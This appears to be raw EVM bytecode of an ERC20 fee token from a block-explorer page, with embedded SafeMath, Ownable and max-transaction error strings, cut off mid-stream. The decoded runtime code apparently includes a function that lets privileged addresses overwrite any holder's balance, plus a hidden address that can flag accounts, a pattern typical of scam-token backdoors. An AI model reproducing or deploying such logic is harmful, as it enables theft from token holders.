df252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161382b9190614577565b60405180910390a35b61384781846130f790919063ffffffff16565b9150509392505050565b60008083141561386457600090506138c6565b600082846138729190614713565b905082848261388191906146e2565b146138c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b8906144f7565b60405180910390fd5b809150505b92915050565b600061390e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cf2565b905092915050565b6000600267ffffffffffffffff811115613933576139326149ba565b5b6040519080825280602002602001820160405280156139615781602001602082028036833780820191505090505b50905030816000815181106139795761397861498b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613a1b57600080fd5b505afa158015613a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a539190613e60565b81600181518110613a6757613a6661498b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613ace30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461290b565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613b329594939291906145c2565b600060405180830381600087803b158015613b4c57600080fd5b505af1158015613b60573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b95929190614592565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613be7573d6000803e3d6000fd5b505050565b613c1930601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461290b565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c65611e9e565b426040518863ffffffff1660e01b8152600401613c87969594939291906143be565b6060604051808303818588803b158015613ca057600080fd5b505af1158015613cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613cd991906140cd565b5050505050565b6000613ceb82613d55565b9050919050565b60008083118290613d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d309190614455565b60405180910390fd5b5060008385613d4891906146e2565b9050809150509392505050565b6000819050919050565b600081359050613d6e81614c3f565b92915050565b600081519050613d8381614c3f565b92915050565b60008083601f840112613d9f57613d9e6149ee565b5b8235905067ffffffffffffffff811115613dbc57613dbb6149e9565b5b602083019150836020820283011115613dd857613dd76149f3565b5b9250929050565b600081359050613dee81614c56565b92915050565b600081359050613e0381614c6d565b92915050565b600081519050613e1881614c6d565b92915050565b600081359050613e2d81614c84565b92915050565b600060208284031215613e4957613e486149fd565b5b6000613e5784828501613d5f565b91505092915050565b600060208284031215613e7657613e756149fd565b5b6000613e8484828501613d74565b91505092915050565b60008060408385031215613ea457613ea36149fd565b5b6000613eb285828601613d5f565b9250506020613ec385828601613d5f565b9150509250929050565b600080600060608486031215613ee657613ee56149fd565b5b6000613ef486828701613d5f565b9350506020613f0586828701613d5f565b9250506040613f1686828701613df4565b9150509250925092565b60008060408385031215613f3757613f366149fd565b5b6000613f4585828601613d5f565b9250506020613f5685828601613df4565b9150509250929050565b600080600060408486031215613f7957613f786149fd565b5b600084013567ffffffffffffffff811115613f9757613f966149f8565b5b613fa386828701613d89565b93509350506020613fb686828701613ddf565b9150509250925092565b600080600060408486031215613fd957613fd86149fd565b5b600084013567ffffffffffffffff811115613ff757613ff66149f8565b5b61400386828701613d89565b9350935050602061401686828701613e1e565b9150509250925092565b600060208284031215614036576140356149fd565b5b600061404484828501613ddf565b91505092915050565b600060208284031215614063576140626149fd565b5b600061407184828501613df4565b91505092915050565b600080600060608486031215614093576140926149fd565b5b60006140a186828701613df4565b93505060206140b286828701613df4565b92505060406140c386828701613df4565b9150509250925092565b6000806000606084860312156140e6576140e56149fd565b5b60006140f486828701613e09565b935050602061410586828701613e09565b925050604061411686828701613e09565b9150509250925092565b600061412c8383614147565b60208301905092915050565b614141816147b3565b82525050565b614150816147a1565b82525050565b61415f816147a1565b82525050565b600061417082614647565b61417a818561466a565b935061418583614637565b8060005b838110156141b657815161419d8882614120565b97506141a88361465d565b925050600181019050614189565b5085935050505092915050565b6141cc816147c5565b82525050565b6141db81614808565b82525050565b6141ea8161481a565b82525050565b60006141fb82614652565b614205818561467b565b9350614215818560208601614850565b61421e81614a02565b840191505092915050565b600061423660238361467b565b915061424182614a13565b604082019050919050565b600061425960228361467b565b915061426482614a62565b604082019050919050565b600061427c601b8361467b565b915061428782614ab1565b602082019050919050565b600061429f60288361467b565b91506142aa82614ada565b604082019050919050565b60006142c260218361467b565b91506142cd82614b29565b604082019050919050565b60006142e560208361467b565b91506142f082614b78565b602082019050919050565b600061430860258361467b565b915061431382614ba1565b604082019050919050565b600061432b60248361467b565b915061433682614bf0565b604082019050919050565b61434a816147f1565b82525050565b614359816147fb565b82525050565b60006020820190506143746000830184614156565b92915050565b600060208201905061438f6000830184614138565b92915050565b60006040820190506143aa6000830185614156565b6143b76020830184614156565b9392505050565b600060c0820190506143d36000830189614156565b6143e06020830188614341565b6143ed60408301876141e1565b6143fa60608301866141e1565b6144076080830185614156565b61441460a0830184614341565b979650505050505050565b600060208201905061443460008301846141c3565b92915050565b600060208201905061444f60008301846141d2565b92915050565b6000602082019050818103600083015261446f81846141f0565b905092915050565b6000602082019050818103600083015261449081614229565b9050919050565b600060208201905081810360008301526144b08161424c565b9050919050565b600060208201905081810360008301526144d08161426f565b9050919050565b600060208201905081810360008301526144f081614292565b9050919050565b60006020820190508181036000830152614510816142b5565b9050919050565b60006020820190508181036000830152614530816142d8565b9050919050565b60006020820190508181036000830152614550816142fb565b9050919050565b600060208201905081810360008301526145708161431e565b9050919050565b600060208201905061458c6000830184614341565b92915050565b60006040820190506145a76000830185614341565b81810360208301526145b98184614165565b90509392505050565b600060a0820190506145d76000830188614341565b6145e460208301876141e1565b81810360408301526145f68186614165565b90506146056060830185614156565b6146126080830184614341565b9695505050505050565b60006020820190506146316000830184614350565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614697826147f1565b91506146a2836147f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146d7576146d66148fe565b5b828201905092915050565b60006146ed826147f1565b91506146f8836147f1565b9250826147085761470761492d565b5b828204905092915050565b600061471e826147f1565b9150614729836147f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614762576147616148fe565b5b828202905092915050565b6000614778826147f1565b9150614783836147f1565b925082821015614796576147956148fe565b5b828203905092915050565b60006147ac826147d1565b9050919050565b60006147be826147d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006148138261482c565b9050919050565b6000614825826147f1565b9050919050565b60006148378261483e565b9050919050565b6000614849826147d1565b9050919050565b60005b8381101561486e578082015181840152602081019050614853565b8381111561487d576000848401525b50505050565b6000600282049050600182168061489b57607f821691505b602082108114156148af576148ae61495c565b5b50919050565b60006148c0826147f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148f3576148f26148fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614c48816147a1565b8114614c5357600080fd5b50565b614c5f816147c5565b8114614c6a57600080fd5b50565b614c76816147f1565b8114614c8157600080fd5b50565b614c8d816147fb565b8114614c9857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122056eead35f36f03f9ade9797c058c2ce58dea95315ef5d8aefaed4652de4c767f64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106103905760003560e01c80638da5cb5b116101dc578063c816841b11610102578063dc44b6a0116100a0578063f1d5f5171161006f578063f1d5f51714610da9578063f2514e8814610dd2578063f2fde38b14610e0f578063f872858a14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f18cffe214610d7e57610397565b8063cab03471116100dc578063cab0347114610c43578063d469a20914610c6e578063da00097d14610c97578063dbf5ae5514610cc257610397565b8063c816841b14610bb0578063c860795214610bdb578063c867d60b14610c0657610397565b8063a457c2d71161017a578063c2d4640e11610149578063c2d4640e14610b08578063c469b6dd14610b31578063c49b9a8014610b5c578063c5d2418914610b8557610397565b8063a457c2d714610a3a578063a5d69d1f14610a77578063a83f53a714610aa0578063a9059cbb14610acb57610397565b80639e03d726116101b65780639e03d72614610990578063a073d37f146109bb578063a08e671f146109e6578063a2a6272214610a1157610397565b80638da5cb5b146108fd578063917c88b11461092857806395d89b411461096557610397565b80633ecad271116102c157806370a082311161025f57806382eefb431161022e57806382eefb431461082d57806388790a68146108585780638b42507f146108835780638d6332df146108c057610397565b806370a082311461077157806377f31d03146107ae5780637d1db4a5146107d7578063807c2d9c1461080257610397565b80635881f3ef1161029b5780635881f3ef146106b757806361a23c69146106f45780636249faf11461071f578063697be9ef1461074857610397565b80633ecad271146106245780634a74bb021461066157806357a5802f1461068c57610397565b806327c8f8351161032e578063313ce56711610308578063313ce5671461056a57806335d236151461059557806339509351146105be5780633b97084a146105fb57610397565b806327c8f835146104eb5780632b112e49146105165780632c4b23341461054157610397565b80631694505e1161036a5780631694505e1461042f57806318160ddd1461045a57806323b872dd146104855780632563ae83146104c257610397565b806306fdde031461039c578063095ea7b3146103c75780631245e3471461040457610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610e63565b6040516103be9190614455565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613f20565b610ef5565b6040516103fb919061441f565b60405180910390f35b34801561041057600080fd5b50610419610f13565b604051610426919061437a565b60405180910390f35b34801561043b57600080fd5b50610444610f39565b604051610451919061443a565b60405180910390f35b34801561046657600080fd5b5061046f610f5f565b60405161047c9190614577565b60405180910390f35b34801561049157600080fd5b506104ac60048036038101906104a79190613ecd565b610f69565b6040516104b9919061441f565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e49190614020565b611043565b005b3480156104f757600080fd5b506105006110f5565b60405161050d919061435f565b60405180910390f35b34801561052257600080fd5b5061052b611119565b6040516105389190614577565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613e33565b61115d565b005b34801561057657600080fd5b5061057f611236565b60405161058c919061461c565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613e33565b61124d565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613f20565b611326565b6040516105f2919061441f565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d919061404d565b6113d9565b005b34801561063057600080fd5b5061064b60048036038101906106469190613e33565b611478565b604051610658919061441f565b60405180910390f35b34801561066d57600080fd5b50610676611498565b604051610683919061441f565b60405180910390f35b34801561069857600080fd5b506106a16114ab565b6040516106ae9190614577565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190613e33565b6114b1565b6040516106eb919061435f565b60405180910390f35b34801561070057600080fd5b50610709611a0f565b6040516107169190614577565b60405180910390f35b34801561072b57600080fd5b5061074660048036038101906107419190613f60565b611a15565b005b34801561075457600080fd5b5061076f600480360381019061076a9190613fc0565b611b4f565b005b34801561077d57600080fd5b5061079860048036038101906107939190613e33565b611cc3565b6040516107a59190614577565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d09190613f60565b611d0c565b005b3480156107e357600080fd5b506107ec611e46565b6040516107f99190614577565b60405180910390f35b34801561080e57600080fd5b50610817611e4c565b6040516108249190614577565b60405180910390f35b34801561083957600080fd5b50610842611e52565b60405161084f9190614577565b60405180910390f35b34801561086457600080fd5b5061086d611e58565b60405161087a9190614577565b60405180910390f35b34801561088f57600080fd5b506108aa60048036038101906108a59190613e33565b611e5e565b6040516108b7919061441f565b60405180910390f35b3480156108cc57600080fd5b506108e760048036038101906108e29190613e33565b611e7e565b6040516108f4919061441f565b60405180910390f35b34801561090957600080fd5b50610912611e9e565b60405161091f919061435f565b60405180910390f35b34801561093457600080fd5b5061094f600480360381019061094a9190613e33565b611ec7565b60405161095c919061441f565b60405180910390f35b34801561097157600080fd5b5061097a611ee7565b6040516109879190614455565b60405180910390f35b34801561099c57600080fd5b506109a5611f79565b6040516109b2919061437a565b60405180910390f35b3480156109c757600080fd5b506109d0611f9f565b6040516109dd9190614577565b60405180910390f35b3480156109f257600080fd5b506109fb611fa9565b604051610a089190614577565b60405180910390f35b348015610a1d57600080fd5b50610a386004803603810190610a33919061407a565b611faf565b005b348015610a4657600080fd5b50610a616004803603810190610a5c9190613f20565b61208f565b604051610a6e919061441f565b60405180910390f35b348015610a8357600080fd5b50610a9e6004803603810190610a999190614020565b61215c565b005b348015610aac57600080fd5b50610ab561220e565b604051610ac29190614577565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed9190613f20565b612214565b604051610aff919061441f565b60405180910390f35b348015610b1457600080fd5b50610b2f6004803603810190610b2a919061407a565b612233565b005b348015610b3d57600080fd5b50610b46612313565b604051610b539190614577565b60405180910390f35b348015610b6857600080fd5b50610b836004803603810190610b7e9190614020565b612319565b005b348015610b9157600080fd5b50610b9a612402565b604051610ba79190614577565b60405180910390f35b348015610bbc57600080fd5b50610bc5612408565b604051610bd2919061435f565b60405180910390f35b348015610be757600080fd5b50610bf061242e565b604051610bfd9190614577565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c289190613e33565b612434565b604051610c3a919061441f565b60405180910390f35b348015610c4f57600080fd5b50610c58612454565b604051610c659190614577565b60405180910390f35b348015610c7a57600080fd5b50610c956004803603810190610c90919061407a565b61245a565b005b348015610ca357600080fd5b50610cac61253a565b604051610cb9919061441f565b60405180910390f35b348015610cce57600080fd5b50610ce96004803603810190610ce49190613f20565b61254d565b005b348015610cf757600080fd5b50610d006125e8565b604051610d0d9190614577565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613e8d565b6125ee565b604051610d4a9190614577565b60405180910390f35b348015610d5f57600080fd5b50610d68612675565b604051610d759190614577565b60405180910390f35b348015610d8a57600080fd5b50610d9361267b565b604051610da09190614577565b60405180910390f35b348015610db557600080fd5b50610dd06004803603810190610dcb919061404d565b612681565b005b348015610dde57600080fd5b50610df96004803603810190610df49190613e33565b612720565b604051610e06919061441f565b60405180910390f35b348015610e1b57600080fd5b50610e366004803603810190610e319190613e33565b612740565b005b348015610e4457600080fd5b50610e4d612892565b604051610e5a919061441f565b60405180910390f35b606060028054610e7290614883565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9e90614883565b8015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905090565b6000610f09610f02612903565b848461290b565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6000610f76848484612ad6565b5061103884610f83612903565b61103385604051806060016040528060288152602001614c9c60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fe9612903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130939092919063ffffffff16565b61290b565b600190509392505050565b61104b612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90614517565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111586111477f000000000000000000000000000000000000000000000000000000000000dead611cc3565b601a546130f790919063ffffffff16565b905090565b611165612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990614517565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611255612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d990614517565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113cf611333612903565b846113ca8560076000611344612903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b61290b565b6001905092915050565b6113e1612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590614517565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b60145481565b60006114bb612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90614517565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561159357600080fd5b505afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb9190613e60565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561162d57600080fd5b505afa158015611641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116659190613e60565b6040518363ffffffff1660e01b8152600401611682929190614395565b60206040518083038186803b15801561169a57600080fd5b505afa1580156116ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d29190613e60565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611893578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561174f57600080fd5b505afa158015611763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117879190613e60565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117e957600080fd5b505afa1580156117fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118219190613e60565b6040518363ffffffff1660e01b815260040161183e929190614395565b602060405180830381600087803b15801561185857600080fd5b505af115801561186c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118909190613e60565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611a1d612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190614517565b60405180910390fd5b60005b83839050811015611b49578160096000868685818110611ad057611acf61498b565b5b9050602002016020810190611ae59190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611b41906148b5565b915050611aad565b50505050565b611b7b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633613141565b15611cbe5760005b83839050811015611cbc5760018260ff161415611c1e576001600d6000868685818110611bb357611bb261498b565b5b9050602002016020810190611bc89190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611cab565b60008260ff161415611caa576000600d6000868685818110611c4357611c4261498b565b5b9050602002016020810190611c589190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b80611cb5906148b5565b9050611b83565b505b505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d14612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9890614517565b60405180910390fd5b60005b83839050811015611e40578160086000868685818110611dc757611dc661498b565b5b9050602002016020810190611ddc9190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e38906148b5565b915050611da4565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b606060038054611ef690614883565b80601f0160208091040260200160405190810160405280929190818152602001828054611f2290614883565b8015611f6f5780601f10611f4457610100808354040283529160200191611f6f565b820191906000526020600020905b815481529060010190602001808311611f5257829003601f168201915b5050505050905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601d54905090565b60195481565b611fb7612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203b90614517565b60405180910390fd5b8260118190555081601281905550806013819055506120846013546120766012546011546128a590919063ffffffff16565b6128a590919063ffffffff16565b601881905550505050565b600061215261209c612903565b8461214d85604051806060016040528060258152602001614cc460259139600760006120c6612903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130939092919063ffffffff16565b61290b565b6001905092915050565b612164612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e890614517565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b6000612228612221612903565b8484612ad6565b506001905092915050565b61223b612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bf90614517565b60405180910390fd5b8260148190555081601581905550806016819055506123086016546122fa6015546014546128a590919063ffffffff16565b6128a590919063ffffffff16565b601981905550505050565b60105481565b612321612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a590614517565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516123f7919061441f565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b612462612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e690614517565b60405180910390fd5b82600e8190555081600f819055508060108190555061252f601054612521600f54600e546128a590919063ffffffff16565b6128a590919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125e45780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b60015481565b612689612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270d90614517565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612748612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127cc90614517565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b60008082846128b4919061468c565b9050838110156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906144b7565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561297b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297290614557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e290614497565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ac99190614577565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3e90614537565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bae90614477565b60405180910390fd5b601f60149054906101000a900460ff1615612bde57612bd784848461317a565b905061308c565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815